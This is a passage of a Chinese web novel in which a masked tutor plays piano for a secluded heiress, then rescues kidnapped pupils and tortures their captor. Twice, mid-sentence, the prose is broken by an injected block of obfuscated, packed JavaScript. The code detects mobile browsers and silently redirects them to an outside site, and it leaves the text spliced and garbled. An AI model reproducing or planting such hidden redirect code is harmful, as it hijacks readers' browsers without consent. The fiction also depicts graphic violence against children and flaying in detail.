不仅让这架优雅钢琴发出了铮铿杂声，粗鲁难听，更毁了整首美妙奏鸣曲落幕的圆满。 弹奏被打断那刻，霍骊有一瞬僵硬，双臂定在半空。 她倒吸凉气，呼声急促。 遗憾的寂静中，择明垂下头不敢直视，宛如死刑前忏悔。他扼住自己令人失望的右手，惩罚般施力掐握。 “我很抱歉，小姐……望您责罚。” 兴致正浓忽被破坏，不满是毋庸置疑，但霍骊很快平静收手，关切予以询问。 “这没什么，我不生气。但我可不可以，看看它的伤。” 沉思着经过几番犹豫，择明将袖口挽至腕部，向人展示。 损坏未在他右手表面，但因骨骼错位导致的变形一目了然。皮肤下淤血消退，关节不再红肿，可仔细看，几处地方颜色仍深浅不一。 “你现在还会疼吗？” “托夫人和医生的关照，已经好很多了。只是还需要点时间恢复。” 深深凝望这些斑驳色块，霍骊哀声叹息。 “他们说，这是因为我造成。” “真的是我……做错了什么事吗？” 这番话从她口中说出，性质意义远不同字句本身。 作为霍家地位高贵的长女，最受众人重视保护的大小姐，她表现得过于‘善良怯懦’。却也符合久居不出，不谙世事的特质。 笼中之鸟，怀揣一颗脆弱敏感，花蕾般娇嫩的心。 择明并未直接回答。 “您想听真话还是假话，小姐。” 霍骊略作思索，抉择时苦恼拨弄碎发，撩动黑纱。缕缕幽香随她动作弥散，是兰花风信子的前调。 “我就……不能选都听吗？” 她最后小声嘀咕着，颇有娇嗔意味。 “只要是您的意愿，霍骊小姐。我无论怎样都会满足您。您的喜悦是我至高无上的荣幸，让您失望是我的万劫不复的罪过。”青年说着眉眼微弯，唇角绽笑。 可他的下一句，却如箭矢无情，让对方绞紧双手，心沉入冰海。 “假话是，我被砸毁右手与您毫无瓜葛。” 真相便与之相反，起因果真在于她。 择明特地等这只鸟儿因惊愕歉疚抬头，续上后话。 “而真话是，我的受伤源自他人对我的‘嫉妒’。这种野兽蛮横又愚蠢，残忍又下作，光靠我只身一人抵抗，我必然惨烈败落。” “但是因为您，和与您的约定，我坚持下来了。” 尽管看不见面纱后的脸庞，但他已知道对方因他的话释然，使那轻柔嗓音也带上点欢快笑意。 “有没有谁跟你说过，你的嘴跟你琴声一样甜蜜，可宽慰人心？” “您是第一位，我亲爱的小姐。” 霍骊歪着脑袋打量他，身子轻晃不复端庄矜持，尽显少女俏皮姿态。 “你就像一个高音音符。” 她轻笑道，“所有音符中，我最偏爱的那个。” 预料中的欣喜若狂，惊诧无措并未发生，在她看来，眼前青年的一句‘多谢小姐夸奖’平淡如水，尤为反常。 她有些苦恼地抿嘴，轻拍琴身，不知不觉主动找起新话题。 “那你觉得我怎么样？我还以为，你见到我会很高兴的，又或者，很失望的……” 一阵长久沉默始料未及，长久到她禁不住蹙眉，透过黑纱以视线描摹那张脸上的光影线条。 贴合鼻梁的面具，微笑时唇角旁的阴影，未能被遮掩的部分烧伤疤痕。 以及一双对她目光似水，饱含温情的眼眸。 “我永远不会对您失望，小姐。事实上，您是我的希望伊始，梦境归宿。” “我只是很担忧您。” “您现在，还依然感到恐惧吗？” 恐惧。 霍骊喃喃跟念。 扯紧手套裙摆有如触电，沉默者轮到了她自己，双眼因惊骇而瞪圆。 明知那蓝眸青年看不见自己的脸，然而那两道视线却不偏不倚与她交汇，令人产生被看穿的错觉。一如秘密委身阴影，却将在太阳光下无处遁形。 “我有点累了……你也早些回去休息吧。” 择明听见她闷声说着，委婉下逐客令。 一句‘好的，小姐’，他们两个地位差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592339|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距悬殊的琴友就此分别。 出来时择明手中的提灯已扑闪黯淡，天边正泛着鱼肚白。 原来他跟霍骊这一弹琴夜聊就过去了整宿。 这时间点困意全无，择明穿行迷宫花园，任晨露沾湿发丝衣角。 【系统Z：为什么您说她在恐惧，主人】 “好问题，Z。这是你有史以来最好的问题。”他赞许道，并悠悠解释。 “这一夜，她在为自己来之不易，且短暂的自由欢畅，不愿浪费点滴时光。尽管她也追求着品质极高的弹奏，不过她心软太多，几乎是两倍了。唔，是相比较下。” 【系统Z：相比较谁，主人】 “嘘——这是秘密，别毁了惊喜。” 像初到琴房那日，择明绕开回答，调笑似得朝空气眨眼。 这是一个令人愉快的夜晚。择明迎着晨曦回到花房，如此总结道。 作为尽职尽责的老师，他次日照旧收拾起课本教材，前往南片教堂。 然而刚走下便车，站在集市空地的那刻，他便敏锐察觉到一种不和谐的异状。 气球商贩，果摊农妇，补鞋匠，几乎所有曾对他笑脸相迎，热情问候的老熟人，如今见他竟毫无反应，当目光不期而遇，便立即转开，向别的地方吆喝。 沿街徒步行走，怪事接二连三。 橱窗后的店家前一秒还昏昏欲睡，发现他经过瞬间精神抖擞，眼神飘忽不定，在他身上流连。 一群乞丐汇聚巷口窃窃私语，打量的视线自始至终粘着他。 仿佛是暴风雨前的宁静，闷热风流裹挟着铺天盖地的恶意。 事实证明，择明的预感很对。 当他穿行最僻静的穷人街角，系统再次给出提醒。 【系统Z：主人，周围有人跟上来了。大概十八个】 择明速度未变，扬起头轻嗅，眯眼侧耳倾听。 “你错了哦，Z，应该是二十三个。” 前后左右，包括上方无人居住的破旧楼顶，他像被无数鹰隼盯牢的纯真野兔，不知危险来临，惬意地进食漫步。 从跟踪到出动，中间有着很长一段缓冲试探期，紧随择明的人或两两成对，或零散汇聚。 他们看见了彼此，眼中有诧异也有发现竞争的烦躁。只是为了不惊动猎物，纷纷选择团结，一致沉默。 深巷悠长，石板路散发暴晒后的青苔腥味，择明越是往狭窄曲折的路走，他们就得被迫加快脚步，在通道中拥挤在一块。 捕猎者发现猎物正往不可掌控的方向走，难再保持克制，逐渐小跑起来。 有一个开始打破跟踪平衡，后面便争先恐后。 阵阵急促脚步声灌满整片暗巷，可当他们拐弯停在一堵墙前时，错愕整齐闪过他们脸庞。 “人呢？” 其中一个难以置信高喊。 “我还想问你们呢，刚才谁先开始跑的，这下好了，人直接没了！” “你现在喊得大声啊，跑得最快的还不是你？” “统统闭嘴，瞎吵什么，找人啊！” …… 为了相同目标，相同利益，因意见不合争吵时往往更加激烈，无法平息。 择明躲在墙后听得津津有味，拨弄着墙根杂草，别提多开心。 “没辙，不如我们回去。还是把那老头捉了，这样更快。” “啧，没办法，只能这样。听说那老头也快回来了，叫什么来着的？马库斯？” “光靠我们怎么知道他哪回来，老头又不像这‘怪脸人’天天经过集市，还是去找菲尔丁那群家伙问，他有渠道……” “那群小孩不也可以？我记得那卖气球的说过，他好像在教堂给那群小野|种上课。” “上课？哈哈哈，他能上什么，如何撕扯自己脸皮吗。” 轻抚嫩草的手停，择明笑意顿消。 当人群带着污秽粗俗的调笑扬长而去，他才翻越砖墙，利落而平稳的落地。 【系统Z：主人，您要去给点小教训了吗】 “是的，Z。” 手绢擦拭指缝间的泥土灰尘，好似擦拭开锋的利刃，择明嘴角噙笑，声音却是冰冷至极。 “总有人不知道，尊老爱幼，是为人必备的礼数。” 14. 打破的声音是pop！-14 “这一点都不礼貌，布鲁托。你难道忘记莱恩先生要求的吗，我们要尊敬长辈，关爱弱小。这叫尊老爱幼。” 巷口野花田边，萨沙双手叉腰，煞有介事指责。 在她面前，男孩吸溜着鼻涕，红发如鸟窝被草帽盖住。 几乎所有‘莱恩学堂’的学生都汇聚在他们身边，各分阵营。 “我可是有遵守的，”布鲁托不甘示弱回道，“明明说好了我们摘这边的花，你们是那边的，可她跑进来做什么？！” 随他所指方向看，小玛吉安静坐在草丛中，一双眼睛紧随粉蝶扑闪，小脸隐约可见两道泪痕。 如今课堂生源扩招，教堂每天都有陌生伙伴源源不断涌入。萨沙他们作为首批学生，虽然不适应接触新人，但为最敬爱的老师，极力尝试交流相处。 没有成年人或生意场上的利益弯绕，孩子间打闹嬉戏，结实熟稔的速度其实飞快。 可为一点无关紧要小事而出现争吵闹矛盾，也能决裂得更快。 此番场景，正是最好的证词。 起因是昨晚，经老牧师提议，他们决定为莱特老师举行一场感恩会。众人各自准备礼物，再由全体学生摘来鲜花，摆成祝福雕像。 起初分工明确，大家也当作春游乐在其中。 然而当最小的玛吉跑错分工区后，双方人马莫名对立起来。 “玛吉是跑错了。但她又没妨碍你们，你跟她好好说不就行了？凭什么动手推？”萨沙一字一句反问着，甚至不畏对方男孩多，直接逼近两步，“如果你想解释她不听你的话，那你为什么不叫我过来带她回去？还非要弄哭她？” “道歉。你必须向她道歉。” 布鲁托撇嘴，不由自主缩脖子。 尽管他只比萨沙小一岁，但这年纪的女孩往往如春天的桉树，长势迅疾，眼睛一瞪比他还威猛。 更何况，她说得确实在理。 天生脾气急又冲，刚才他见玛吉不听他提醒，没忍住动手又推又拉。没太用力也不痛，但还是弄哭了对方。 道理已经明白，可背对同僚的布鲁托仍不服气，杵在原地像根柱子，硬邦邦的。 “你说是就是啊，我们明明也没做错什么。而且，凭什么那莱恩老师说的都对……” 放在以前，萨沙可没耐心那么好听人碎念，直接带领大孩子们猛踹打压。如今收敛不少，她看着布鲁托支支吾吾憋不出字，白眼一翻，主动给人台阶下。 “行了，我们只想你为你的粗鲁向玛吉道歉，她接受就好。这你都做不到，你还是男子汉吗？” 激将法奇效显著，男孩声音立马来了底气，欲要为自己男子汉的身份明证。 “谁说我做不到，我当然会道歉。喂，玛吉是吧，你——” 道歉卡在中间，布鲁托被小跑奔来的人影扑个正着。 “你们快看哪，那只蝴蝶好漂亮，我们把它抓起来给莱恩先生吧！他一定喜欢。布鲁托你也去吧，你抓虫子最厉害了！” 两道泪痕亮晶晶，玛吉全然忘记此前种种不快，满心满眼都是莱恩先生会喜欢的蝴蝶。 蓝蝶边缘像涂抹漆黑轮廓线，中间镶嵌着蓝宝石般靓丽的色彩。它似乎不畏惧一群虎视眈眈的孩子，优雅而散漫，翩然舞动。 突然被夸赞，布鲁托反倒不好意思起来，同时又有点骄傲窃喜。 “不错，就它是吧。我刚好带着网。走，你们跟我一起追，包围它。” 他立即招呼起好兄弟，包括萨沙身后几位捕虫能手。还不忘牵起激动亢奋的玛吉，有如一位远征者昂首挺胸。 上一秒满腔怒火，这一秒萨沙哭笑不得。 不过当事人都已冰释前嫌，她没必要再追究。 紧握分来的新捕虫网，追逐前方轻盈飘逸的蝶影，一种不同于太阳照耀的暖流，忽然于心中攀升而起。 知识言语贫瘠，萨沙尚不能解释其中缘由，可她永远不会忘记，是谁给她带来这份恩赐。 微笑不知不觉浮现，队伍也逐渐零散，分头穿梭小巷找寻蝴蝶。萨沙行动慢落在末尾，等她再拐弯时，前后左右都不见了人影。 正困惑往哪走，途径岔口的她忽被左边蹿出的身影吓得汗毛倒竖。 布鲁托一手拼命捂住她嘴，边费劲把玛吉往她怀里塞。 “快跑、快回去告诉牧师、不、随便谁！” 布鲁托脸上带伤，是跑太快摔倒蹭地所致，斑斑点点像鱼鳞。他见萨沙愣住，焦急推搡。 “他们有人、不知道是哪来的帮派，把大家用麻袋套走了，刚刚我看到只有几个逃掉。” 仿佛为印证他的说辞，巷尾立即传来杂乱的脚步声。 幼时阴影轻而易举被勾起，萨沙心脏狂跳，下意识抱紧玛吉掉头狂奔，一路不敢停歇，更不敢放慢速度。 当她眼前发昏撞开教堂大门时，屋后的伊凡与老牧师皆是一惊。 脸色煞白的玛吉被老牧师小心接过，她则被伊凡搀扶着站起。 即便双耳嗡鸣听不清询问，萨沙仍牢牢抓住伊凡的手求助。 “先生、大家都被抓走了，我不知道那些人、他们是谁，应该很多，十几个或者二十几个，布鲁托应该为了帮我，也被带走了——” 曾经伶牙俐齿，此刻语无伦次，伊凡理解这份慌乱，按住对方双肩，神色平静得堪称冷峻。 “你有看到他们的长相，听到他们说过什么话么。” 萨沙喘着气，脑袋从未转得如此之快。她甚至都不知道自己是怎么脱口而出道。 “我听到他们再说什么‘菲尔德’、还是‘菲尔顿’的。” 伊凡脸色顿时一沉。 戴维·菲尔丁。 视线瞥向自己受伤的手，伊凡当即联想到昨天种种。 但事件真正牵扯到的并非他，是会来这给孩子上课，又与戴维有过节的莱特·莱恩。尽管这是单方面，且不加顾虑的疯狂报复。 由于某些原因，他知道戴维·菲尔丁家族所属的民间帮|派——腹蛇。包括腹蛇成员遍布四周的大小基地，各类交易娱乐场所。 那些出身帮派的人，做事有多活络多重情重义，他见识过。 而他们能多狠毒多蛮不讲理，他也亲证过。 男人当机立断，起身披上外套。 “帮我照看好她们，大门锁住。我去找人帮忙，很快就能把他们找回来。” “等等先生、请您先等一下！” “您这是要去哪，又向谁求？” …… 对老牧师源源不断的制止询问置若罔闻，伊凡手搭上门把那刻，终于被厉声叫住。 “伊万！” 老者面露愠色，然眼中更多是担忧。他压低声音道。 “我照看教导你，现在你就是这么选择的吗？” 男人定在门前，并未回应也没下一步动作。 这不禁让老牧师心生希冀，放软态度乘胜追击道。 “你转过来，看着我的眼睛跟我说，你到底要去找谁？在主的面前，回答我。” 但令牧师失望的是，对方推开门只说了一句。 “我现在叫伊凡·贝内特，先生。” 教堂大门沉重而厚实，打开又关起，像一扇世界之门开合翻转，伴随震颤人心的闷响，明暗界域两相颠倒。 十五个被装在臭烘烘麻布袋里的孩子，听到的正是这种声音。 搬运他们的人与温柔毫无瓜葛，将他们丢地上叠着，令他们彼此磕脑门撞下巴，禁不住抽噎痛呼。 “这些是什么玩意儿？瞎糊弄这些，我可不给你们赏金。” 这嗓音难听刺耳，属于成年男性，伴着反胃的酒嗝声。 有人回答了他。 “戴维，这是那群跟他上课的小畜生们。” 名叫戴维的男人啧啧着走来，一一掀开布套。相比这群打手，他更不怜惜，连带着扯掉女孩几撮长发，眼睛都不曾眨一下。 惊恐，哆嗦发抖，十五名孩子强忍大哭冲动，瑟缩墙角打量这陌生环境。 偌大酒仓原是玻璃工厂，如山堆积的酒箱旁，紧闭的大门窗户下，遍布剔透发亮的碎渣。 他们身处草垛边，围住他们的大人谈不上凶神恶煞，可一双双眼中不含丝毫怜悯，仅是算计阴谋的精光，足以为之惶恐。 “他那头丑怪物，会肯乖乖来这要人？别像上次哭着鼻子找爷爷找爸爸，到时候白费我功夫。”戴维拍打其中一个男孩脸颊，逗弄动物似得。 “这包在我们身上，只要这个最后到位……” 领头地位的打手摩挲两指，笑意谄媚又是掩不住的贪婪。 戴维扬起左手比划了一个‘三’，爽快答应。 “行，价格按你们人数翻倍不成问题，毕竟你们比那些零散招来的苍蝇更有用。”说到这，他禁不住地冷笑，猛灌一口红酒。 “只要最后能把他人带过来，呵，我保证，他今后就不会再出现，污染别人眼睛了。” “这么说，你是要准备亲手……” 打手领头做出抹脖子动作，好奇询问。 戴维小眼睛眯成缝，蔑视程度陡增。 “你可小瞧我们腹蛇的人了。光打死他怎么够？他不仅陷害我，让我手现在还得挂在我脖子上，简直像狗拴着绳。”恨意怒意交织，他越说越牙痒痒，“他甚至还让我接触霍骊小姐的计划泡汤，直接被赶出庄园！” 与戴维私下有接触，小领头立即打趣道。 “不是吧，你真想把那位高高在上的大小姐娶回家？我们这哪里没女人，她就有那么好看让你惦记到现在？” 戴维陷入回想，那垂涎的模样活像数天未进食的饿狼。 他仅仅见过一次霍骊。 那晚，他溜进主宅偷酒。 不知为何，当时明明才上半夜，整座宅邸却异常安静，根本没人站岗巡逻。所以虽然氛围令他发毛，可他仍壮着胆子行动。 酒窖被锁他无法得手，于是便将主意打到餐具和装饰物件上。霍家一对银刀叉，在外面也能顶半个月饭钱。 从未探索过主楼高层，他那晚才知道五层六层是空置的，而一声骇然咆哮几乎将他吓得魂飞魄散，连忙躲进楼梯隔间。 正因如此，他才透过门洞看见了霍骊。 她双足赤|裸，单穿白色长裙睡衣，披散黑发走下楼梯。 她的脸，就算是做出暴怒神情，也只会像醇酒那般浓香迷醉。她的人，即便像死尸苍白，像乞丐邋遢，仍如蒙尘珍珠耀眼夺目。 绝美一词，简直是为她量身定做。 抽离短暂回忆，戴维摆手驱逐道。 “那可不，都吃过山珍海味了，你难道还想回去吃剩菜剩饭？快去，抓紧时间把那丑恶□□给我抓来。” “莱恩先生……才不丑恶。” 微弱的抗议，顿时寂静了全场。 戴维直起身扫视这群人质，冷笑质问。 “刚刚谁说的？嗯？” 见所有小不点低着头，不吱声，他抬脚踹翻装满空酒瓶的木箱，噼啪破裂声震得他们瑟瑟发抖。 一块形状适合的玻璃被戴维握在手中，他掐住前面女孩的脸，尖端抵上人嘴角。 “不说是吧，那我只好全部一起惩罚了，你们都快跟那丑八怪学坏了。” 玻璃尖扎得冰冷又刺痛，女孩已泣不成声。 “是我。” 窝在所有人后方，尼尔高声承认道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592340|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “刚刚那句话是我说的。” 与目光狠毒的戴维对视，他毫不畏惧，因他已见惯这种眼神，也因他笃信自己的话绝对没错。 戴维抓住男孩头皮将他整个人拎起，没有盘问和给对方求饶的时间，玻璃块按进唇角，发狠用力一划。 痛起初感觉不到，尼尔没发出声音。 但亲眼目睹这残忍血腥的一幕，其余孩子或吓傻吓呆，或放声尖叫，恐惧充斥所有人心房。 把尼尔丢回草垛，戴维面目狰狞威胁着。 “谁下一个还敢乱说话，乱跑出去。就和他一样。” 对此，打手们司空见惯，最多感叹句‘不愧是腹蛇的’。 划伤几乎蔓延到耳根，好似小丑的夸张笑容，男孩此刻脸色惨白如纸，发出痛苦呻|吟。 无措惊恐的伙伴中，同样脸上带伤的布鲁托率先爬出来。 “喂、喂你没事吧。我帮你止血，你别乱动、千万别动。” 分明害怕至极，他仍强迫自己镇定，按课堂所学知识紧急处理。就是学得不伦不类，有点勉强罢了。 对小孩互助依偎的场面不感兴趣，戴维拉过半人高的移动栅栏，像对待牲口将他们圈住。打手离开，工厂大门一关，他又拎起酒瓶，美滋滋爬上二层工作台。 半小时过去，啜泣声此起彼伏。 尼尔虽不再淌血却已陷入昏迷，最初被威胁女孩也同他相识最久，守在他身边，怎么也止不住眼泪。 死亡于她而言，仍是模糊又遥远的概念，但疼痛是无人不知无人不晓的恶徒。她嘴角至今发红刺痛，深知被划开脸颊，又是何种折磨。 高空抛落酒瓶，砸碎在他们几步外。 “别给老子再哭了！吵死了。” 凌厉骂声却逼得她抽噎加重，不得不用沾血的双手拼命捂住嘴，身躯颤抖发冷。 在这绝望境地，她从未如此渴求温暖触碰，哪怕只是意作安慰的轻抚。 头顶忽然一重，温度仿佛透过掌心，传达进心底。 女孩错愕抬起头，泪水险些为那张熟悉面容夺眶而出。不止是她，所有心不着地的孩子，双眼再度发亮。亮晶晶的泪光里闪烁希望。 择明食指抵在唇前，及时示意众人噤声。 年龄最小的男孩踉跄冲来，试图穿过栏杆抱住他的腿。这个吓坏的小东西，浑然不知到底发生什么，只像野兽幼崽，下意识追寻母兽温暖安心的怀抱，嚎啕大哭。 同样以手轻按住人，择明弯腰，在这小可怜头顶印下一吻。 面具冰冷，唇却是温软的，被他蔚蓝如海的眼睛注视，男孩如暴雨骤然止歇，乖巧站定。 而择明的视线，在尼尔惨不忍睹的伤上停留最久。 他最后捡起一块块玻璃碎片握着，俯身呢喃轻如呓语。 “让我们再玩一次‘瞎子找人’游戏。” “还记得游戏规则吗？你们闭上眼睛，无论发生什么都不能作弊睁眼，数到二十开始，马上跑到外面躲起来。然后，我会数道一百，来找到你们。” 对着他，孩子们无条件点头照做纷纷闭眼，也就错过他们这温柔和善的老师如乌云遮日，神色刹那阴冷的奇景。 一，二，三。 第一枚玻璃飞射，精准砸破第一盏灯泡。 四，五，六…… 第二第三盏紧随其后，瞬间暗淡。 醉酒脑袋昏沉，戴维在灯炸裂第五盏时才发觉异状，揉着脑门起来。 这间老旧工厂有点年纪，而他平时除了喝酒，也不常来，原以为是电路设备问题，他晃悠悠准备下去。 最后一盏灯，是悬在草垛正上方的。 看清人影他反应未及，怔在原地。 可当那莱特·莱恩嘴角弯起，对他炫耀般举起持有玻璃的手，一股热血直冲脑门。 怒吼未出，仅剩的光源在一场短暂而绚丽的炸裂中消失，他顺扶梯下滑，手持破酒瓶直奔草垛。 然而他低估了黑暗带来的不便，十几步路跌跌撞撞，怎么都找不到方向。 “出来！你这烂泥□□脸！” “别以为你逃的掉，我外面还有人看着！” “莱特·莱恩！——” 咆哮愈是大声，四周被衬得越是死寂。 这反常的安静非但没让他放心，反而滋生出惴惴不安的情绪。而越是慌乱，双眼越难以适应这份黑暗。 第一下右脚踝被砸，犹如大树根部斩断，戴维栽倒的那刻，清楚的听到骨骼断裂的脆响。声音与他手被砸断时的如出一辙。 第二下脊椎中央敲击，他像瓷器被找到隐藏裂缝，整个破开失去活力。 这一刻他才知道，原来有种痛，能痛得他失去呼喊的能力，只能匍匐在地，不断抽搐。 踱步声围绕他转圈，轻盈而缓慢，调子一如它的主人，似蛇盘旋收紧身躯，一点点挤出猎物肺里的空气，将其绞死。 “您知道么，戴维先生。” 他听到对方说道。 “在有些养蛇场里，他们会这样惩罚无法驯服，肆意咬人的‘坏蛇’的。” 他的头被人拽起，但他身躯无力，无法动弹。 冰冷的玻璃，塞入他齿间，玩闹似地轻轻敲打，磨|蹭|舌尖。 “他们会，拔了它的毒牙。看着它懊悔扭动身躯，张嘴痛苦哀求。” 双目终于适应黑暗，戴维·菲尔丁却如走投无路的虔诚信徒祈祷，期望这只是能醒来的噩梦。 因为望着他嘴角噙笑的青年，像剧毒的腹蛇吐出红信，嘶声连连，对他道出世间最令人颤栗的恐怖言语。 “最后剥了它的皮，将它挂在笼子上，像个独特又漂亮的展示品……是的，漂亮又独特。” 15. 打破的声音是pop！-15 车无法挤进狭窄路段，因此拥在路口，让所载乘客下车。 行动有条不紊，沿小道鱼贯而入，他们或环顾周边，或直视前方，时刻警觉又并不刻意，无一不是安如磐石的神情，沉着不愧于‘军队’之称。 伊凡·贝内特落在最后一位，动身前被司机阻拦。 “阁下，您没必要进去。” 司机越过靠背按住他车门把手。 “我们先生不希望，您又在这无关紧要的小事上出了差池。” 右手割口隐隐作痛，提醒着前次惊心动魄的袭击，然而伊凡决意已定。 “有他们在，我会不安全么。还是说，你对你们先生的实力存有质疑？又或者······是不信任我？” 伊凡目光冷冽，质问难以回答。趁司机沉默的空档，他推门追向队伍。 帮派腹蛇据点众多，但位于附近适合关押人质，较为隐蔽的屈指可数。支援分成数队出动搜查，他则跟随其中一支前往最可能的地点——查尔斯玻璃厂。 伊凡匆匆跟上时，队伍早聚集在工厂外。 出乎他意料，孩子们已经被找到了。 他们被簇拥着领出那间破旧门卫亭，见他像见到救星，一拥而上。 场面略显混乱，有急着给他看伤，有边哭边胡言乱语。救死扶伤但未同时应付数量如此之多的小孩，伊凡感到头疼。 他不得不佩服起某位连续上八节课，还能继续陪学生玩耍的‘莱恩老师’。 “医生！老师他、莱恩先生他还在里面。”布鲁托挤进求安慰的队伍，总算说了句有用的话，“他让我们出来等，可我们一直没看到他。对了，里面还有个叫戴维的该死混蛋，就是他把尼尔伤成这样！” 掠过男孩嘴边的伤，男人眸光暗沉，蹲下捧起对方脸检查。 “不是很深，能够缝好。麻烦你们带他们先行离开，处理伤口要紧。” 示意同行者将这群吓坏的小不点转移，伊凡视工厂为目标，雷打不动。 工厂东面外墙边，一扇小门留有新鲜痕迹。它的锁被撬开，锈斑剥落洒满地。 队伍成员紧贴墙根，查探确认安全，立即互打手势。 随三声倒数结束，队伍攻破工厂可有可无的防线，以迅雷不及掩耳之势敲开大门锁头。 耀眼阳光一同闯入漆黑厂内，碍于范围有限未能照亮空间深处，他们不得不放缓脚步，警惕四周。 嗅觉较常人敏感几分，伊凡进门起就眉头紧锁。 他嗅到空气中弥漫的鲜血气息。 如雾薄薄一层，微不可见的粒子翻腾，扑向脸颊挥散不去。 木板封闭的门窗被逐一敲开，当光蔓向工厂中央，众人倒吸凉气的声音奏响，编织成一首惊悚短曲。 他们正上方，搬运货物用的吊钩左右摇晃。 这尖勾今日竟仿照起它的兄弟‘鱼钩’，垂挂一条巨型鲜鱼。 然而陆地上是不可能有大鱼出现的。 那是一个人。 “这······这是人？！死了吗？” 捕捉到谁的惊呼，伊凡·贝内特心霎时提到嗓子眼，顾不得形象仪表，左右推搡挤开人，来到吊钩下。 定睛凝神，他因眼前所见错愕发怔。 ‘大鱼’的身形，衣着，皆是他不熟悉的，即便对方肩部以上被悬顶阴影藏匿，他也笃定这不是莱特·莱恩。 ——秋天，渔夫大丰收的时节钓来一条最肥美的‘国王’鳟鱼，它鳞片金光闪闪，两腮鼓动，尾尖笔直垂挂不再乱舞，终于变成一位西装革履的斯文绅士 脑中浮现笔者姓名未知的诗词，伊凡与周围等人被一阵窸窣惊醒。 酒箱堆后，择明探出脑袋。 “噢，”他现身，小作惊讶道，“我还以为我真要大难临头，逃不过这遭了。” 望着人从暗处幽幽走出，伊凡一时无言。 莫须有的心慌扰乱思绪，他脱口而出。 “你没事？” 疑问简直好笑且多余，即便如此择明仍展开双臂，认真展示着。 “如您所见，伊凡先生。我很好，多谢你关心。” 说罢仰头向上看，他一声叹息，别有深意。 “倒是戴维·菲尔丁先生。我过去就时常担忧他喝醉酒迷了眼，伤了自己······唔，我深表惋惜。但或许他还幸运地留有一口气，能请您这些朋友帮忙放他下来吗？” 操作平台位于二层，支架由铁架木板搭建，宽敞又结实，人走上去轻而易举。 可以戴维这姿态和位置，他若是想跃下‘钓’起自己，难度绝非一星半点。 面对诸多疑点，伊凡一反常态放弃深究，示意帮手将戴维放到地面。 领队哈罗德面容瘦削，长有一只傲人鹰钩鼻，他蹲下探查戴维生命特征，语气与之冷漠神情相符。 “他还活着，阁下。” 哈罗德尚未提及的内容，是戴维嘴角耳边溢出的可疑血水，以及脸颊左右被剥开，沿鼻梁完美对称的皮肤。 一只‘蝴蝶’于他面庞上歇息，双翼由他脸皮所造，紧贴周围隐约可见的切割线条。 那人对戴维所做，绝非憎恶主导。 他看戴维的脸，好似看待上好泥胚，精雕细琢，打磨作品，期望赋予其美好的价值，实现超乎寻常的蜕变。 手法精湛，不会让伤者鲜血四溅，甚至感受不到煎熬剧痛。因这份雕琢处处透露着珍视，才使其中的残忍愈发不寒而栗。 行医来目睹无数触目惊心的伤，伊凡率先恢复平静。 然而某种怪异情绪浮现，强烈难以遏制。是安士白剧院那晚他亲临排演时凶猛的颤栗感。 强压不安，他定神指示道。 “给他注射麻|药，趁现在把他送到就近医院，丢在门口。注意行动时不要被人完全目击到。” “遵命，阁下。” 哈罗德扬手二次吩咐部下，余光不经意瞥过角落。 佩戴面具的青年负手而立，观望着他们。虽是置身事外的做派，但偶尔又流露出欣赏的悠然惬意。 他们心知肚明，到底是谁向这名绑架者施以酷刑。 “恕我直言，阁下，”哈罗德趁与伊凡擦肩而过，轻声告诫，“您的这位朋友，您所说的‘受害者’，他可不是一个任人拿捏，爱心泛滥的软蛋。至少，现在的他不是。希望您擦亮眼睛，不只是为了我们先生，还为您自己。” 伊凡五味杂陈，失去往常刻薄精悍的言辞，待哈罗德远去才回神。 在那双蔚蓝眼睛的注视下前进，他紧盯面具上残留的血斑，掏出手绢。 “擦擦吧，这里沾了点脏东西。” 择明点头道谢，拭去血色，与伊凡肩并肩离开乘车，一路镇定如常。 他们赶回教堂时，尼尔已情况稳定，伤口整齐缝合，外面贴着纱布，完全看不出之前的狰狞骇人，他人在麻醉药作用下呼呼大睡，算是有惊无险。 出于对安全的考量，伊凡决定暂停教堂的课，同时将萨沙几个孩子与牧师一行接到他镇内的住处。 早晨被绑架，午后又突然被告知要搬家，孩子们受惊吓不轻，神经紧绷频频出错。 发现萨沙又一次举着衣服傻愣愣定住，择明靠近，按下对方的手。 “东西可以不用带那么多，萨沙，我们会帮你们准备好。大家都会没事的，我保证。” 收留者伊凡没发话，但依这位面冷心热医生的脾气，衣食住行铁定不亏待。 女孩转身，双目因哭过发红，眼睑肿起。她像风中无依无靠的秧苗身躯颤抖，最终控制不住向前重重一扑，趴上那温暖宽阔的胸膛。 “莱恩先生、为什么会有您这样的人？” 伴着啜泣，她哽咽发问。 “为什么您要对我们这么好？一次又一次的、这样帮我们、拯救我们？” 侥幸逃过绑架，但她几乎所有的同伴，亦是她最珍视的兄弟姐妹都不幸落入奸人之手。她当时绝望得失去灵魂，成为具行尸走肉。 可车不仅将尼尔他们送来了，连同带回一个‘恩人’救他们于死境的佳话。 莱特·莱恩只身步入虎穴狼巢，毫发无损归来。 她并不知道对方做了什么，只知道这是她迄今为止所见过的，最强大，也最美好的结合体。 只要记住这些，足够了。 轻拍萨沙后背为其顺气，择明等抽噎声渐歇才拥着人宽慰，嗓音轻柔。 “为什么要救？” “因为你们对我来说是至关重要的存在，是值得我付出倾注，上限可至一切的。我不希望你们受到任何伤害。” “让尼尔变成这样，我愧疚万分。希望你们允许我未来补偿。” 说话间有意偏头一看，伊凡·贝内特在不远处。 